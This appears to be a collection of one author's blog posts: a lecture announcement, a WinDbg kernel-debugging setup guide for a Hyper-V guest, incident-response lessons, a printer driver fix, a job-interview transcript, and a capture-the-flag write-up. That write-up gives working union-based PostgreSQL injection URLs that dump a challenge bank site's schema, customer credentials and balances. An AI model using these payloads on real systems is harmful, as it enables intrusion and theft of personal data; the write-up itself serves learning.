I will be speaking in Prof. Sengupta’s class at John Jay College of Criminal Justice at the City University of New York on Oct 28, 2010.  The topic of discussion will where does Digital Forensics fit in the big picture of organizations.  The talk will introduce the students to a variety of topics including choosing a career as a digital forensics investigator, their duties as an investigator, being successful as an investigator, case studies and real-life problems faced by the computer forensic investigators.

If you are writing some Ring0 (or privileged mode code), say something like device drivers in Windows you’d probably be better served with a separate development machine and a deployment machine. This helps you to write poor code and still not lose hair because your development machine blue screens! 🙂

My setup was using a Windows 8.1 development machine and a Hyper-V based Windows 7 machine for debugging. You will need to execute different tasks on the “guest” (Hyper-V based Windows 7 virtual machine) and some other tasks on the development machine.  I followed many of the things from the MSDN blog post here

On your guest machine you would want to setup a named pipe and setup debug settings. To do that this is what you need to do:

Setup a virtual com port in the Hyper-V Settings (File -> Settings) , this port will be used to communicate from the host machine to the guest to communicate the Kernel debugging commands.

Now make sure that your target guest machine is configured to “listen” those commands.  Inside the guest VM, start a command shell (cmd.exe -> Run as Administrator).

Configure the bcdedit commands so that the machine can now be debugged.  Right after the 2nd command, reboot your Virtual Machine.

With the VM now configured to listen the debug commands via the COM1 port, and the debug mode on in the bootup settings, now start the WinDbg x64 on the host (using “Run as administrator”; you need administrative privileges for communication via Serial port).  In your kernel debugger on the host or the development machine (I’m assuming that these are both on the same physical hardware here).  Click on File -> Kernel Debug and you should see the following screen in the WinDbg window:

Hit Ctrl+Break or Debug -> Break and you will see something like this:

Just remember that when you break in the debugger, your guest in Hyper-V should become “unresponsive”.  The only thing is that it is not really unresponsive, its just being debugged.  Just to make sure, that you have the symbols package that is quite useful for debugging run the following command:

!process 0 0

If you see something like the following screen show up:

The following error means that the symbols are not defined.  Symbols help the debugger give more information about the commands that you are going to execute in the debugger.

**** NT ACTIVE PROCESS DUMP ****
NT symbols are incorrect, please fix symbols

To fix this, use the following commands:

kd> .sympath SRV*c:\symcache*http://msdl.microsoft.com/download/symbols
kd> .symfix
kd> .symfix c:\symcache
kd> !sym noisy
kd> .reload /o

Then again try the command: !process 0 0 and see if you get a good response.  A good response looks like the following:

With this you should be good to go! Happy debugging and writing cool Ring0 code.

I blogged earlier about blameless post-mortems and how one gets to a point that they are able to do blameless post-mortems – by having an operational rigor and observability. This is more of a lessons learnt post about what do you do and what you don’t when things go wrong?

Focusing on the Who?

A lot of times focusing on the “who reported the issue?” can be focusing on a wrong thing. If a report comes from a penetration test or a bug bounty researcher or an internal security engineering resource you need to make sure that the impact and likelihood is clearly understood. There are sometimes where customers (who pay or intend to pay for your service) report problems – these are obviously more important.

Focusing on the How?

How a security issue gets reported is important. As examples where you learn about a security issue via a bug report(1), or where you learn about it via your own telemetry(2) or you learn about it on Twitter! There is a potential for legal ramifications in each of these cases and the risks might be different. When things become public without your knowledge where you were not notified and the information is now public you do have a role to instill confidence in your current customers. The best approach here tends to be of sticking to facts without any speculations. If you are working on incident say so. Don’t say we are most secure when you are the subject of a breach discussion especially because you already have the data that you are not as secure. Identification and Containment of the security issue are top priorities – do not take resources that are doing these actions away to ensure Public Relations are good – doing that will eventually make public relations bad! Involve lawyers in your communications process and mark communications with right legal tags (“attorney client privileged material”) so that if a litigation happens you can clearly demarcate evidence that can be or cannot be part of a discovery.

Focusing on the What?

“What” needs to be done has to be clear with the help of an incident manager. The incident manager is the person who is most well read, subject matter expert, and leads the response process. Having this single-threaded ownership of leading the incident is incredibly important. The role of the incident manager is to ensure they have all the information that they need to make decisions. This also streamlines the process of public relations, legal needs, incident cleanup (eradication and recovery), and helps with swift and focused decision-making. This can sometimes be crisis management depending on impact and otherwise it can be just another day in the Security operations office. The key trait here is focus and goal-based decision making. Adrenaline can run high, tempers can flare – that typically happens when you are unprepared to handle security incidents. The tempers and nervousness can be avoided by being proactive in doing tabletop exercises, incident dry-runs and having good runbooks. But all practice games do is prepare you for the real thing – the real thing is how you handle a true incident. Use the help of key stakeholders to derive best decisions – there often tend to be situations where no answer looks good – and therein comes the customer focus – if you focus on the well being of customers you will rarely go wrong.

Focusing on the Why?

Capture incident response logs in tickets and communications so all the timeline and actions get captured properly with documentation. After the recovery is completed, do a blameless post-mortem of how you got there. Ensure you put a timeline of taking on agreed-upon corrective actions on a timeline that is agreed and don’t waiver – this is a part of operational rigor one needs to follow to really avoid incidents from happening in future. Typically, the reason why issues happen is because something was not prioritized as it should have been. Reprioritize to make sure you can reassess. Sometimes the size of the incident makes it your reprioritization almost coerced – it’s ok to be coerced in that direction. You will find that coercion is simply an acceleration of the actions that you should have taken up earlier. No one is perfect – just come out of it better!

Focusing on the Where?

Where you discuss the issue is important. When sizable incidents happen discuss is openly with the business leaders so that full awareness and feedback is provided in “powerful forums”. This obviously does not mean that you break your attorney client privilege – it just means discuss with the highest leaders in a manner where action items, impact and post-mortem results are provided. This enables business to become resilient over time and develop confidence in the security teams. If you need to do public releases then ensure that lawyers read it and security SMEs read it as well as business leaders read it – only then do such releases. Don’t let the “left hand meet right” situation ever occur. This instills customer confidence in your process.

Conclusion

This was just an attempt for me to pen-down my thoughts as they appeared in my brain. I am sure I forgot a lot such as stress of handling, avoiding knee-jerk reactions, etc. but these are top most important things that I felt were necessary to share. Remember, incident handling gets better with practice – you want the practice be done in practice games not in the olympics! 🙂

I was getting CUPSD errors when trying to use my Laser Brother HL 2040 printer. But, you can install Brother HL-2040 by going to the brother website and downloading the linux drivers located here:
http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/download_prn.html#HL-2040
I just installed the lpd driver using the command as follows:
$ sudo dpkg -i brhl2070nlpr-2.0.1-1.i386.deb
When printing now, just select local lpd and then select brother-HL2070 printer from the list (the drivers for both versions are same).

This was an interesting PostgreSQL injection challenge.
What is Jeff Moss’ checking account balance?
Bank Site – http://140.197.217.85:8080/boa_bank
User:blacksheep
Password:luvMeSomeSheep

The username and password is to get around the .htaccess that protects the site. There was a page with the zip code search on it. The zip parameter was vulnerable to SQL injection (verified by entering a ‘ character in the zip parameter). With this information you

SQL injection in zip parameter. http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20or%201=1–&Submit.x=0&Submit.y=0

List of databases can be found by: http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20%20union%20SELECT%20datname,datname,datname,datname,1,datname%20FROM%20pg_database&Submit.x=0&Submit.y=0

Names of databases
——————
template1
template0
postgres
boa_bank

http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20%20union%20SELECT%20relname,A.attname,relname,A.attname,1,relname%20FROM%20pg_class%20C,pg_namespace%20N,pg_attribute%20A,pg_type%20T%20WHERE%20(C.relkind=’r’)%20AND%20(N.oid=C.relnamespace)%20AND%20(A.attrelid=C.oid)%20AND%20(A.atttypid=T.oid)%20AND%20(A.attnum%3E0)%20AND%20(NOT%20A.attisdropped)%20AND%20(N.nspname%20ILIKE%20’public’)&Submit.x=0&Submit.y=0

With this query it’s easy to evaluate the type of the parameter as well as the position. This was done by the error message that indicated an “int cannot be compared to text”.

Table,column_name
—————–
transaction,amount
transaction,account
transaction,id
transaction,date
branch,id
branch,zip
branch,city
branch,name
branch,street
branch,phone
branch,state
customer,id
customer,firstname
customer,password
customer,lastname
customer,username
customer,email
account,id -> int
account,owner -> int
account,account -> string
account,balance
account,type -> checking/savings
sqlmapfile,data
test2234,t
hkk,t
mydata,t
mytable,mycol
hk,hk
sonic,sonic

Getting all customers (Jeff Moss can’t be found in the list though)
http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20%20union%20SELECT%20C.firstname,C.lastname,C.username,C.password,1,C.email%20FROM%20customer%20C&Submit.x=0&Submit.y=0
Lots of complaints were heard that the record wasn’t present for Jeff Moss. But if you just filtered by ‘checking’ account, you would see that it was all the same for all users. The following query gives the list of all checking accounts…but if you notice the value is $0.00 for all checking accounts so Jeff Moss’ account should be 0.00 too!!!

http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20%20union%20SELECT%20A.account,A.type,A.type,cast(A.balance%20as%20text),A.owner,A.account%20FROM%20account%20A%20where%20A.type%20ILIKE%20’checking’&Submit.x=0&Submit.y=0

Fun times!

This is not a post but nostalgia. This post is actually a transcript of the first interview of my life. It was for a top Indian Software Consultancy Company (referred to as “XYZ” from now on). I remember that it was July 9th, 2001 and it was a really rainy day in Bombay. While coming to the college I was totally drenched and was looking rather distraught! I cleared the aptitude test and then came the Big One – The Interview!
I went to the interview thinking that i wanted to completely screw up the interview (coz I was interested in some other company) so i went there casually dressed with a demonic smile on my face >:-) . In hindsight, I think the way I appeared for this interview was really gutsy for me and I probably couldn’t have done that had I been craving to get a job in this company. Here is the transcript of the interview.

XYZ: So Mr Rajat … tell me about urself and ur family in *short*
Me : In the year 1980 i was born in allahabad and spent the initial yrs of mylife in blah blah blah ….and completed my schooling in Shree Ram Welfare Society’s High School, Andheri(W), Mumbai . therafter i went to Sathaye College….(blah blah blah) and i came to this college thinking that this college would be good.
XYZ: & how did u find this college?
Me : (thinkin for a while and then with a heavy heart ) ok !
XYZ: Rajat y did u chose our company (XYZ) instead of other companies.
Me : i did not choose XYZ i’ve just come for this interview ! In fact u guys have come to our college (for on-campus placements) i haven’t come for this interview.
XYZ: but would u like to join our co.?
Me: i’ve come for this interview ! what does this indicate to u?
XYZ: give me one reason why u want to join XYZ?
Me: i don’t want join XYZ… i’ll goto any other co. that comes next…as a matter of fact any other co. will take me!
XYZ: Mr Rajat in this form (these guys had given us a form to fill in whichwe were supposed to write the salary we desired which i forgot to fill… oops faux pas ? well not quite) which we have given to u , uhaven’t mentioned the salary u want…. what r ur expectations?
Me : I want more!
XYZ: MORE !%#$%$#$ y do u want more?
Me: because i know i’m worth it!
XYZ: u say so but it is for us to see whether u r worth it!
Me: put me to test and i’ll prove i’m worth it !
XYZ: but why do u want more ?
Me : everybody wants more so what is wrong if i want more!(the guy seems to be pissed off to my delight)
XYZ: but u must be having some expectations , don’t u?
Me : yes of course , i have . but u r not gonna live up to them. u had made it quite clear the salary u’ll be offering to us … so it doesn’t matter what my expectations are u r gonna give only what *you* want to give us , so there rests the matter.
XYZ: tell me about this person whom u know & works in XYZ.
Me : He is my cousin and he stays at andheri.
XYZ: so what have u heard from him about our co. ?
Me : NOTHING!
XYZ: but u might have heard something at least!!!!!
ME : we meet at social gatherings and the last thing we want to speak about is XYZ!!!
XYZ: ok tell me about ur project … this assembler
Me : blah blah blah
XYZ: ok … so in ur form u write u want “A GOOD NETWORKING PROJECT PREFERABLY BASED ON NETWORK SECURITY” . what do u know about networking?
Me : NOTHING!
XYZ: (a very surprised Mr. Sleepy said) NOTHING !?!? then how can u say u want a project in it?
Me: well , i’ve attended a few seminars @ IIT and it ensured me that that was the only field i’m interested in.
XYZ: then ur interest may change after studying the subject!
Me : No, it won’t change!!!!
XYZ: wat do u know bout networkin?
Me: latest happenings … blah blah blah
XYZ: suppose that we don’t have a project in network securities for you then what will u do?
Me: i have written that it is my ambition to work on a networking project…AMBITIONS ARE NOT ALWAYS FULFILLED.
XYZ: Rajat … there is a rule in ur college that if u get 1 co. u r noteligible for the rest.we offer u 16k .. so if tomorrow infosys comes and offers u 20k wat will u do?
Me : I WILL GO !!!!!
XYZ: u’ll go !?! that means you are after money ?
Me : who said that !? i never said that ! i want more money but more important than that is the work environment & the kind of projects i get. if i getbetter projects there i’ll go money is secondary but still important .
XYZ: (as if trying to juistify a lesser salary) u know rajat that on paper their (Infosys) salary may look large but 20% blah blah blah ….. 12.5 % blahblah blah …6% blah blah blah … (and lots more statistics which lasted foran eternity as far as my viewpoint goes)
XYZ: do u realise that XYZ has a 3yr. service agreement or u r chargedRs.50,000/- . what are your feelings about that?
Me : it is absolutely wrong.
XYZ: why?
Me: The word “bond” itself says that u r “bound” to the co. no matter what.
XYZ: that is why we don’t call it a “bond” we call it a “service agreement”.
Me: ok…that’s just another name for it. i personally think that instead of”binding” people to ur co. u should create such an environment that people like to stay in ur co. with their wishes and so the co. will benefit if peoplework with their wishes.
XYZ: do u havre any questions for us?
Me: yes , sir i do! in ur qns a few minutes back u mentioned infosys and in ur pre-placement talks u said u r no.1 software co. of india. how can u say thatwhen all that we see in the newspapers is infosys and with u comparing urself to infosys?
XYZ: infosys is 12% blah blah blah … 19% blah blah blah …(and lots morestatistics that made me feel as miserable as our indian cricket team witheverything out of control)does that answer ur qn?
Me: ya! sir may i ask another question ?
XYZ: ya sure! (with some uneasiness)
Me: sir, this yr. we have seen our seniors get whole lot of “back out” letters! what r ur feelings about that?
XYZ: OUR FEELINGS !!??!
Me: i mean r u people going to do the same with us?
XYZ: (i think this was it and he lost his complete cool and he pointed to me & said sternly) till this date our company has not given any “back-out” letters to anybody.
Me: Thank u .sir. it was a pleasure!

This was the first interview of my life and I ended up getting selected for this company. It was a great experience working there and I realized that money is not everything! At the end of it I think I was not rude but dangerously honest in giving my answers and this plan could have backfired on me but it didn’t … may be I was lucky or may be this was destiny!

9 hrs down the line I’m still capturing packets, now comes the challenging part-to make the hash tables of raw data! My Rabin’s hash algo seems to be working but the only hiccup that could happen was when the negative hash values are obtained. I don’t know whether it is a bug in my code or what but I got negative values for Rabin’s Hash when I gave the string “this is test”! This is gonna test me for sure.